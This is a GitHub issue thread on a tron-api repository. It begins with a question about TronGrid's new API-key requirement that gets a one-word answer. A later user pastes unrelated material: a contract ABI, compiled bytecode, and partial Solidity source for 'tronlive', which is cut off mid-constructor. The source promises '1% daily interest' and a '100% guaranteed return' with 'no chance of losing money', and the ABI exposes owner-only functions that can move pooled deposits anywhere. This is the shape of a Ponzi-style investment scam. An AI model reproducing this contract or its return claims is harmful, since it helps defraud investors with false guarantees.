tron-api icon indicating copy to clipboard operation
tron-api copied to clipboard

About the latest Trongrid API update (API Key needed)

Open evanstinger opened this issue 5 years ago • 10 comments

Hello, I want to ask about recent Trongrid update which now require calls thru TronGrid to use API Key. What action should we take to follow this change?

evanstinger avatar Mar 05 '21 16:03 evanstinger

header

Kwan9 avatar Mar 06 '21 14:03 Kwan9

any example on how to change this header?

evanstinger avatar Mar 17 '21 16:03 evanstinger

[{"constant":true,"inputs":[],"name":"contractInfo","outputs":[{"name":"_balance","type":"uint256"},{"name":"_total_users","type":"uint256"},{"name":"_total_deposited","type":"uint256"},{"name":"_total_withdraw","type":"uint256"},{"name":"_pool_last_draw","type":"uint40"},{"name":"_pool_balance","type":"uint256"},{"name":"_insure_fund","type":"uint256"},{"name":"_toprefamount","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool_balance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_addr","type":"address"}],"name":"userInfo","outputs":[{"name":"upline","type":"address"},{"name":"interest","type":"uint256"},{"name":"active_deposit","type":"uint256"},{"name":"payouts","type":"uint256"},{"name":"direct_bonus","type":"uint256"},{"name":"pool_bonus","type":"uint256"},{"name":"past_due","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"userid","type":"uint256"}],"name":"getUserDetails","outputs":[{"name":"id","type":"uint256"},{"name":"user_address","type":"address"},{"name":"deposit_payouts","type":"uint256"},{"name":"referrals","type":"uint256"},{"name":"total_deposits","type":"uint256"},{"name":"total_payouts","type":"uint256"},{"name":"total_structure","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_portion","type":"uint256"}],"name":"releaseInsureFund","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_user","type":"address"},{"name":"_amount","type":"uint256"}],"name":"releaseInsurance","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"pool_bonuses","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_addr","type":"address"}],"name":"payoutOf","outputs":[{"name":"payout","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"userid","type":"uint256"}],"name":"getUserById","outputs":[{"name":"user_address","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"},{"name":"","type":"address"}],"name":"pool_users_refs_deposits_sum","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_addr","type":"address"}],"name":"userInfoTotals","outputs":[{"name":"referrals","type":"uint256"},{"name":"total_deposits","type":"uint256"},{"name":"total_payouts","type":"uint256"},{"name":"total_structure","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokenId","type":"trcToken"},{"name":"_value","type":"uint256"}],"name":"transferTRC10Token","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"pool_cycle","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"total_withdraw","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"userList","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pool_last_draw","outputs":[{"name":"","type":"uint40"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"users","outputs":[{"name":"id","type":"uint256"},{"name":"upline","type":"address"},{"name":"referrals","type":"uint256"},{"name":"interest","type":"uint256"},{"name":"direct_bonus","type":"uint256"},{"name":"pool_bonus","type":"uint256"},{"name":"active_deposit","type":"uint256"},{"name":"paid_time","type":"uint40"},{"name":"wid_limit","type":"uint256"},{"name":"ins_amt","type":"uint256"},{"name":"past_due","type":"uint256"},{"name":"total_deposits","type":"uint256"},{"name":"total_payouts","type":"uint256"},{"name":"total_structure","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"poolTopInfo","outputs":[{"name":"addrs","type":"address[4]"},{"name":"deps","type":"uint256[4]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"ref_bonuses","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint8"}],"name":"pool_top","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokenAddress","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferTRC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"insurance_fund","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"admin_fee_amount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"total_deposited","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"total_users","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upline","type":"address"}],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"total_reinvest","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"reinvest","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"admin_fee","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_owner","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":true,"name":"upline","type":"address"}],"name":"Upline","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"NewDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"DirectPayout","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"PoolPayout","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"ReInvestFund","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"LimitReached","type":"event"}]

wanchalong19 avatar May 31 '21 06:05 wanchalong19

สัญญา2

wanchalong19 avatar May 31 '21 06:05 wanchalong19

60806040526008805464ffffffffff19164264ffffffffff161790556001600d553480156200002d57600080fd5b50d380156200003b57600080fd5b50d280156200004957600080fd5b5060405162002b9738038062002b97833981810160405260208110156200006f57600080fd5b5051600080546001600160a01b0319163317905562000097816001600160e01b036200032a16565b156200010457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f436f6e74726163742041646472657373204e6f7420416c6c6f77656421000000604482015290519081900360640190fd5b600180546001600160a01b039092166001600160a01b0319928316811782556002805484168217815560006003818155600d5484835260046020818152604080862084815593865260058083529086208054909a169097179098558752600c81018390556006808201849055918101839055600881018390556007808201805464ffffffffff421664ffffffffff19909116179055600b909101839055815480870183558781047ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f9081018054601f93841661010090810a998a0260ff9a8b0219909216919091179091558454808a0186558a810483018054918516830a988902988a0219909116979097179096558354808901855589810482018054918416880a808a021990921690911790558354808901855589810482018054918416880a808a021990921690911790558354808901909455888404018054938216860a8088021990941690931790925580548087018255928190528683047fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6889081018054948416860a6028810290880219909516949094179093558054808701825587810484018054918416860a601e8102908802199092169190911790558054808701825587810484018054918416860a60148102908802199092169190911790558054958601905594840401805493909416900a600a810291021990911617905562000330565b3b151590565b61285780620003406000396000f3fe6080604052600436106101685760003560e01c806315c43aaf146101bd578063192ef492146102335780631959a002146102745780631c1a9f7b146103035780633ccfd60b14610387578063615dfa8c146103b65780636997be2a146103fa5780636d5f6f111461044d5780636da61d1e146104a75780636ed6da9e146104f457806374a88b8b1461055457806374b95b2d146105a75780638da5cb5b1461061a57806394cff8c814610649578063970d106f146106935780639a8318f4146106c25780639f4216e8146106f1578063a198341614610735578063a87430ba1461077e578063a9c3ac5314610847578063b7d9f0d2146108da578063c864130f1461091e578063ca704e8c14610965578063cb9aaf20146109cc578063de1201bd146109fb578063de560cca14610a2a578063e7cc62bd14610a59578063f340fa0114610a88578063fc8416fe14610aae578063fdb5a03e14610add578063fee3f7f914610b0c575b61017133610b3b565b156101b1576040805162461bcd60e51b815260206004820152601d6024820152600080516020612804833981519152604482015290519081900360640190fd5b6101bb3334610b41565b005b3480156101c957600080fd5b50d380156101d657600080fd5b50d280156101e357600080fd5b506101ec610ed4565b60408051988952602089019790975287870195909552606087019390935264ffffffffff909116608086015260a085015260c084015260e083015251908190036101000190f35b34801561023f57600080fd5b50d3801561024c57600080fd5b50d2801561025957600080fd5b50610262610f3c565b60408051918252519081900360200190f35b34801561028057600080fd5b50d3801561028d57600080fd5b50d2801561029a57600080fd5b506102c1600480360360208110156102b157600080fd5b50356001600160a01b0316610f42565b604080516001600160a01b0390981688526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561030f57600080fd5b50d3801561031c57600080fd5b50d2801561032957600080fd5b506103476004803603602081101561034057600080fd5b5035610fed565b604080519788526001600160a01b039096166020880152868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561039357600080fd5b50d380156103a057600080fd5b50d280156103ad57600080fd5b506101bb61109b565b3480156103c257600080fd5b50d380156103cf57600080fd5b50d280156103dc57600080fd5b506101bb600480360360208110156103f357600080fd5b503561141d565b34801561040657600080fd5b50d3801561041357600080fd5b50d2801561042057600080fd5b506101bb6004803603604081101561043757600080fd5b506001600160a01b0381351690602001356114d5565b34801561045957600080fd5b50d3801561046657600080fd5b50d2801561047357600080fd5b506104916004803603602081101561048a57600080fd5b50356115b7565b6040805160ff9092168252519081900360200190f35b3480156104b357600080fd5b50d380156104c057600080fd5b50d280156104cd57600080fd5b50610262600480360360208110156104e457600080fd5b50356001600160a01b03166115e8565b34801561050057600080fd5b50d3801561050d57600080fd5b50d2801561051a57600080fd5b506105386004803603602081101561053157600080fd5b5035611735565b604080516001600160a01b039092168252519081900360200190f35b34801561056057600080fd5b50d3801561056d57600080fd5b50d2801561057a57600080fd5b506102626004803603604081101561059157600080fd5b50803590602001356001600160a01b031661179f565b3480156105b357600080fd5b50d380156105c057600080fd5b50d280156105cd57600080fd5b506105f4600480360360208110156105e457600080fd5b50356001600160a01b03166117bc565b604080519485526020850193909352838301919091526060830152519081900360800190f35b34801561062657600080fd5b50d3801561063357600080fd5b50d2801561064057600080fd5b50610538611843565b34801561065557600080fd5b50d3801561066257600080fd5b50d2801561066f57600080fd5b506101bb6004803603604081101561068657600080fd5b5080359060200135611852565b34801561069f57600080fd5b50d380156106ac57600080fd5b50d280156106b957600080fd5b50610262611901565b3480156106ce57600080fd5b50d380156106db57600080fd5b50d280156106e857600080fd5b50610262611907565b3480156106fd57600080fd5b50d3801561070a57600080fd5b50d2801561071757600080fd5b506105386004803603602081101561072e57600080fd5b503561190d565b34801561074157600080fd5b50d3801561074e57600080fd5b50d2801561075b57600080fd5b50610764611928565b6040805164ffffffffff9092168252519081900360200190f35b34801561078a57600080fd5b50d3801561079757600080fd5b50d280156107a457600080fd5b506107cb600480360360208110156107bb57600080fd5b50356001600160a01b0316611935565b604080519e8f526001600160a01b03909d1660208f01528d8d019b909b5260608d019990995260808c019790975260a08b019590955260c08a019390935264ffffffffff90911660e08901526101008801526101208701526101408601526101608501526101808401526101a083015251908190036101c00190f35b34801561085357600080fd5b50d3801561086057600080fd5b50d2801561086d57600080fd5b506108766119b4565b6040518083608080838360005b8381101561089b578181015183820152602001610883565b5050505090500182600460200280838360005b838110156108c65781810151838201526020016108ae565b505050509050019250505060405180910390f35b3480156108e657600080fd5b50d380156108f357600080fd5b50d2801561090057600080fd5b506104916004803603602081101561091757600080fd5b5035611a83565b34801561092a57600080fd5b50d3801561093757600080fd5b50d2801561094457600080fd5b506105386004803603602081101561095b57600080fd5b503560ff16611a90565b34801561097157600080fd5b50d3801561097e57600080fd5b50d2801561098b57600080fd5b506109b8600480360360408110156109a257600080fd5b506001600160a01b038135169060200135611aab565b604080519115158252519081900360200190f35b3480156109d857600080fd5b50d380156109e557600080fd5b50d280156109f257600080fd5b50610262611b82565b348015610a0757600080fd5b50d38015610a1457600080fd5b50d28015610a2157600080fd5b50610262611b88565b348015610a3657600080fd5b50d38015610a4357600080fd5b50d28015610a5057600080fd5b50610262611b8e565b348015610a6557600080fd5b50d38015610a7257600080fd5b50d28015610a7f57600080fd5b50610262611b94565b6101bb60048036036020811015610a9e57600080fd5b50356001600160a01b0316611b9a565b348015610aba57600080fd5b50d38015610ac757600080fd5b50d28015610ad457600080fd5b50610262611c3b565b348015610ae957600080fd5b50d38015610af657600080fd5b50d28015610b0357600080fd5b506101bb611c41565b348015610b1857600080fd5b50d38015610b2557600080fd5b50d28015610b3257600080fd5b50610538612004565b3b151590565b6001600160a01b0382811660009081526004602052604090206001015416151580610b7957506001546001600160a01b038381169116145b610bb6576040805162461bcd60e51b81526020600482015260096024820152684e6f2075706c696e6560b81b604482015290519081900360640190fd5b6305f5e100811015610bfc576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b610c0582610b3b565b15610c415760405162461bcd60e51b815260040180806020018281038252602281526020018061272f6022913960400191505060405180910390fd5b6001600160a01b03821660009081526004602052604090206006015415610c9157610c6b82612013565b6001600160a01b0382166000908152600460205260409020600601805482019055610cbc565b6001600160a01b0382166000908152600460205260408120600c810182905560068101839055600301555b6001600160a01b03821660008181526004602090815260409182902060078101805464ffffffffff19164264ffffffffff1617905560088101805460028702019055600b01805485019055600e805485019055815184815291517f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de3649281900390910190a26001600160a01b03808316600090815260046020526040812060010154909116905b60065460ff82161015610e8e576001600160a01b038216610d8257610e8e565b606460068260ff1681548110610d9457fe5b60009182526020918290209181049091015460ff601f9092166101000a900416840281610dbd57fe5b0460046000846001600160a01b03166001600160a01b0316815260200190815260200160002060040160008282540192505081905550836001600160a01b0316826001600160a01b031660008051602061279a833981519152606460068560ff1681548110610e2857fe5b60009182526020918290209181049091015460ff601f9092166101000a900416870281610e5157fe5b60408051929091048252519081900360200190a36001600160a01b0391821660009081526004602052604090206001908101549092169101610d62565b50610e998383612193565b600854426201518064ffffffffff928316019091161015610ebc57610ebc6123f1565b60646006830260038054929091049091019055505050565b600d54600e54601154600854600a546010546009546000908152600b602090815260408083207f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e8546001600160a01b0316845290915290205430319764ffffffffff90941693565b600a5481565b6000806000806000806000610f5688610b3b565b15610f96576040805162461bcd60e51b815260206004820152601d6024820152600080516020612804833981519152604482015290519081900360640190fd5b505050506001600160a01b039384166000908152600460208190526040909120600181015460038201546006830154600c840154948401546005850154600a90950154939099169991989097509395509293509091565b600080548190819081908190819081906001600160a01b03163314611047576040805162461bcd60e51b8152602060048201526012602482015260008051602061270f833981519152604482015290519081900360640190fd5b50505060009485525050600560209081526040808520546001600160a01b03168086526004909252909320805460038201546002830154600b840154600c850154600d909501549398929650909450929190565b6110a433610b3b565b156110e05760405162461bcd60e51b81526004018080602001828103825260268152602001806127516026913960400191505060405180910390fd5b60035415611131576003546002546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611125573d6000803e3d6000fd5b50600380549190910390555b600854426201518064ffffffffff928316019091161015611154576111546123f1565b61115d33612013565b336000908152600460208190526040909120600a81015460058201549282015460038301546008840154600c909401549101909301019181116111e5576040805162461bcd60e51b815260206004820152601b60248201527a105b1c9958591e4813585d1d5c995908119d5b1b08105b5bdd5b9d602a1b604482015290519081900360640190fd5b336000908152600460205260409020600c0154303190830182101561121c57336000908152600460205260409020600c0154820392505b6298968083101561125e5760405162461bcd60e51b81526004018080602001828103825260238152602001806127776023913960400191505060405180910390fd5b60105481038311156112965760108054336000908152600460205260409020908303909403600a9094019390935591548203916112aa565b336000908152600460205260408120600a01555b336000908152600460208190526040822060038101839055908101829055600501556298968083101561130e5760405162461bcd60e51b81526004018080602001828103825260238152602001806127776023913960400191505060405180910390fd5b336000818152600460205260408082206064601988020460098201819055601080548201905560068201805482019055600c90910180549190970390810190965560118054870190555185156108fc0291869190818181858888f1935050505015801561137f573d6000803e3d6000fd5b5060408051848152905133917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a2336000908152600460205260409020600c015482116114185733600081815260046020908152604091829020600c0154825190815291517f97ddeb77c85e6a1dd99a34fe2bb1a4f9b211d5ffced7a707de9dbeb24363d0e49281900390910190a25b505050565b6000546001600160a01b0316331461146a576040805162461bcd60e51b8152602060048201526012602482015260008051602061270f833981519152604482015290519081900360640190fd5b6001811015801561147c575060648111155b6114b75760405162461bcd60e51b81526004018080602001828103825260268152602001806127ba6026913960400191505060405180910390fd5b60648160105402816114c557fe5b6010805492909104909103905550565b6000546001600160a01b03163314611522576040805162461bcd60e51b8152602060048201526012602482015260008051602061270f833981519152604482015290519081900360640190fd5b61152b82610b3b565b1561156b576040805162461bcd60e51b815260206004820152601d6024820152600080516020612804833981519152604482015290519081900360640190fd5b6000811161157857600080fd5b6010805482900390556040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611418573d6000803e3d6000fd5b600781815481106115c457fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b60006115f382610b3b565b15611633576040805162461bcd60e51b815260206004820152601d6024820152600080516020612804833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526004602052604090206007015464ffffffffff164203801580159061168857506001600160a01b03831660009081526004602052604090206007015464ffffffffff1615155b156116dd576001600160a01b03831660009081526004602081905260409091206006810154600a8201546005830154938301546003909301546201518060649093048602929092049091019091019091010191505b6001600160a01b03831660009081526004602052604090206008810154600c909101548301111561172f576001600160a01b0383166000908152600460205260409020600c8101546008909101540391505b50919050565b600080546001600160a01b03163314611783576040805162461bcd60e51b8152602060048201526012602482015260008051602061270f833981519152604482015290519081900360640190fd5b506000908152600560205260409020546001600160a01b031690565b600b60209081526000928352604080842090915290825290205481565b6000806000806117cb85610b3b565b1561180b576040805162461bcd60e51b815260206004820152601d6024820152600080516020612804833981519152604482015290519081900360640190fd5b505050506001600160a01b031660009081526004602052604090206002810154600b820154600c830154600d90930154919390929190565b6001546001600160a01b031681565b6000546001600160a01b0316331461189f576040805162461bcd60e51b8152602060048201526012602482015260008051602061270f833981519152604482015290519081900360640190fd5b3381156108fc028284801580156118b557600080fd5b50806001603f1b111580156118c957600080fd5b5080620f4240101580156118dc57600080fd5b50604051600081818185878a8ad0945050505050158015611418573d6000803e3d6000fd5b60095481565b60115481565b6005602052600090815260409020546001600160a01b031681565b60085464ffffffffff1681565b600460208190526000918252604090912080546001820154600283015460038401549484015460058501546006860154600787015460088801546009890154600a8a0154600b8b0154600c8c0154600d909c01549a9c6001600160a01b03909a169b989a97989697959664ffffffffff9095169593949293919290918e565b6119bc6126f0565b6119c46126f0565b60005b60075460ff82161015611a7e5760ff81166000908152600c60205260409020546001600160a01b03166119f957611a7e565b60ff81166000818152600c60205260409020546001600160a01b031690849060048110611a2257fe5b6001600160a01b03928316602091820292909201919091526009546000908152600b8252604080822060ff8616808452600c8552828420549095168352909252205490839060048110611a7157fe5b60200201526001016119c7565b509091565b600681815481106115c457fe5b600c602052600090815260409020546001600160a01b031681565b600080546001600160a01b03163314611af9576040805162461bcd60e51b8152602060048201526012602482015260008051602061270f833981519152604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810185905290519185169163a9059cbb916044808201926020929091908290030181600087803b158015611b4f57600080fd5b505af1158015611b63573d6000803e3d6000fd5b505050506040513d6020811015611b7957600080fd5b50519392505050565b60105481565b60035481565b600e5481565b600d5481565b611ba333610b3b565b15611bdf5760405162461bcd60e51b815260040180806020018281038252602281526020018061272f6022913960400191505060405180910390fd5b611be881610b3b565b15611c245760405162461bcd60e51b81526004018080602001828103825260248152602001806127e06024913960400191505060405180910390fd5b611c2e338261254e565b611c383334610b41565b50565b600f5481565b611c4a33610b3b565b15611c8a576040805162461bcd60e51b815260206004820152601d6024820152600080516020612804833981519152604482015290519081900360640190fd5b611c9333612013565b336000908152600460208190526040909120600a81015460058201549282015460038301546008840154600c90940154910190930101918111611d1b576040805162461bcd60e51b815260206004820152601b60248201527a105b1c9958591e4813585d1d5c995908119d5b1b08105b5bdd5b9d602a1b604482015290519081900360640190fd5b336000908152600460205260409020600c01548201811015611d4f57336000908152600460205260409020600c0154810391505b62989680821015611da7576040805162461bcd60e51b815260206004820152601f60248201527f4d696e696d756d205265696e7665737420616d6f756e74203130205452582100604482015290519081900360640190fd5b3360008181526004602081815260408084206003810185905592830184905560058301849055600a830193909355600682018054870190556008820180546002880201905560078201805464ffffffffff19164264ffffffffff16179055600c8201805487019055600b9091018054860190556011805486019055600e805486019055600f805486019055815185815291517fa710662415d914e95f0754c94eb573f054892ea9217018acc659f0669b5df0269281900390910190a2336000908152600460205260408120600101546001600160a01b0316905b60065460ff82161015611f91576001600160a01b038216611ea157611f91565b606460068260ff1681548110611eb357fe5b60009182526020918290209181049091015460ff601f9092166101000a900416850281611edc57fe5b6001600160a01b03841660008181526004602081905260409091200180549390920490920190556006805433929160008051602061279a833981519152916064919060ff8716908110611f2b57fe5b60009182526020918290209181049091015460ff601f9092166101000a900416880281611f5457fe5b60408051929091048252519081900360200190a36001600160a01b0391821660009081526004602052604090206001908101549092169101611e81565b50611f9c3384612193565b600854426201518064ffffffffff928316019091161015611fbf57611fbf6123f1565b6002546040516001600160a01b03909116906064600686020480156108fc02916000818181858888f19350505050158015611ffe573d6000803e3d6000fd5b50505050565b6002546001600160a01b031681565b61201c81610b3b565b1561205c576040805162461bcd60e51b815260206004820152601d6024820152600080516020612804833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090206007015464ffffffffff16420380158015906120b157506001600160a01b03821660009081526004602052604090206007015464ffffffffff1615155b15612106576001600160a01b038216600090815260046020526040902060068101546003820180546201518060649093048502929092049091019055600701805464ffffffffff19164264ffffffffff161790555b6001600160a01b03821660009081526004602081905260409091206008810154600a8201546005830154938301546003840154600c90940154909301909201909201011061218f576001600160a01b03821660009081526004602081905260408220600381018390559081018290556005810191909155600c810154600882015403600a909101555b5050565b600a8054606460038402040190556001600160a01b0382811660009081526004602052604090206001015416806121ca575061218f565b6009546000908152600b602090815260408083206001600160a01b038516845290915281208054840190555b60075460ff82161015611ffe5760ff81166000908152600c60205260409020546001600160a01b038381169116141561222e57611ffe565b60ff81166000908152600c60205260409020546001600160a01b031661227e5760ff81166000908152600c6020526040902080546001600160a01b0319166001600160a01b038416179055611ffe565b6009546000908152600b6020908152604080832060ff85168452600c8352818420546001600160a01b03908116855292528083205491851683529091205411156123e957600181015b60075460ff8216101561235b5760ff81166000908152600c60205260409020546001600160a01b038481169116141561235357805b60075460ff82161161234d5760ff600182018181166000908152600c6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b039092169190911790556122fc565b5061235b565b6001016122c7565b50600754600019015b8160ff168160ff1611156123b85760ff60001982018181166000908152600c6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b03909216919091179055612364565b5060ff81166000908152600c6020526040902080546001600160a01b0319166001600160a01b038416179055611ffe565b6001016121f6565b6008805464ffffffffff19164264ffffffffff16179055600980546001019055600a80540460005b60075460ff821610156125155760ff81166000908152600c60205260409020546001600160a01b031661244b57612515565b6000606460078360ff168154811061245f57fe5b60009182526020918290209181049091015460ff601f9092166101000a90041684028161248857fe5b60ff84166000818152600c6020818152604080842080546001600160a01b03908116865260048452828620600501805499909804988901909755600a8054899003905594909352908152915481518581529151949550909216927fdbdfa5cb8586917247fbe7178cf53555d199e091a14b06f7de5a182ece2d453a9281900390910190a250600101612419565b5060005b60075460ff8216101561218f5760ff81166000908152600c6020526040902080546001600160a01b0319169055600101612519565b6001600160a01b038281166000908152600460205260409020600101541615801561258b5750816001600160a01b0316816001600160a01b031614155b80156125a557506001546001600160a01b03838116911614155b80156125e957506001600160a01b03811660009081526004602052604090206007015464ffffffffff161515806125e957506001546001600160a01b038281169116145b1561218f576001600160a01b03828116600081815260046020526040808220600190810180546001600160a01b031916958716958617905584835281832060020180549091019055517f9f4d150e5193cfa9a87226111d3b60b624d97ccc056eeeac1569af1ea27bf6419190a3600d8054600101908190556001600160a01b03831660008181526004602090815260408083208590559382526005905291822080546001600160a01b03191690911790555b60065460ff82161015611418576001600160a01b0382166126bb57611418565b6001600160a01b039182166000908152600460205260409020600d81018054600190810190915590810154909216910161269b565b6040518060800160405280600490602082028038833950919291505056fe5265737472696374656420436f6e74656e740000000000000000000000000000436f6e747261637420526567697374726174696f6e204e6f7420416c6c6f77656421436f6e74726163742041646472657373205769746864726177204e6f7420416c6c6f776564214d696e696d756d20776974686472617761626c6520616d6f756e742031302054525821ba5b08f0cddc64825b52c35c09323af810c1d2e29c97aba01a4ed25cfdc482d152656c6561736520506f7274696f6e2056616c7565204265747765656e203120746f2031303055706c696e6520436f6e74726163742041646472657373204e6f7420416c6c6f77656421436f6e74726163742041646472657373204e6f7420416c6c6f77656421000000a26474726f6e582055f1ad0cb48c041f7fbfae367409639f5c2cd83662876a0e0c37f41b8a93947364736f6c634300050a0031000000000000000000000000ef60de15aca5092bf08a3e6d46246a030a59103f

wanchalong19 avatar May 31 '21 06:05 wanchalong19

3

wanchalong19 avatar May 31 '21 06:05 wanchalong19

pragma solidity 0.5.10;

/** 2222222 222222 22222 22 22 22 22 22 22 222222 222 22 22 22 22 22 22 22 22 22 22 22 22 222 22222 22 22 22 22 22 22 22 22 22 222222 222 22 22 22 22 22 22 22 22 22 2222 22 222 22 22 2222 22 22 22222 22 22 222222

Project URL: https://tronlive.net

  • A SELF-SUSTAINABLE AND PROMISING SMART CONTRACT ON TRON BLOCKCHAIN.
  • 1% DAILY INTEREST
  • 200% OF YOUR DEPOSIT
  • The first smart contract providing insurance fund facility to avoid loss of fund.
  • No chance of losing money here, 100% guaranteed return. **/

contract ERC20Interface {

function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balanceRemain); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom(address from, address to, uint256 tokens) public returns (bool success);

event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);

}

contract owned { constructor() public { owner = msg.sender; } address payable owner;
modifier deployerOnly { require( msg.sender == owner, "Restricted Content" ); _; } }

contract tronlive is owned { struct User { uint256 id; address upline; uint256 referrals;

    uint256 interest;
    uint256 direct_bonus;
    uint256 pool_bonus;
    
    uint256 active_deposit;
    uint40 paid_time;
    
    uint256 wid_limit;
	uint256 ins_amt;
    
    uint256 past_due;
    
    uint256 total_deposits;
    uint256 total_payouts;
    uint256 total_structure;
}

address payable public owner;
address payable public admin_fee;
uint256 public admin_fee_amount;

mapping(address => User) public users;
mapping(uint256 => address) public userList;
   
uint8[] public ref_bonuses;
uint8[] public pool_bonuses;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;

uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_reinvest;
uint256 public insurance_fund;
uint256 public total_withdraw;

event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event ReInvestFund(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);

constructor(address payable _owner) public {
	require(!isContract(_owner),"Contract Address Not Allowed!");  
    owner = _owner;                
    admin_fee = _owner;    
	admin_fee_amount = 0;
	
	users[_owner].id = total_users; 
	userList[total_users] = _owner;  		
	
	users[_owner].total_payouts = 0;
    users[_owner].active_deposit = 0;
    users[_owner].interest = 0;
	users[_owner].wid_limit = 0;		
    users[_owner].paid_time = uint40(block.timestamp);
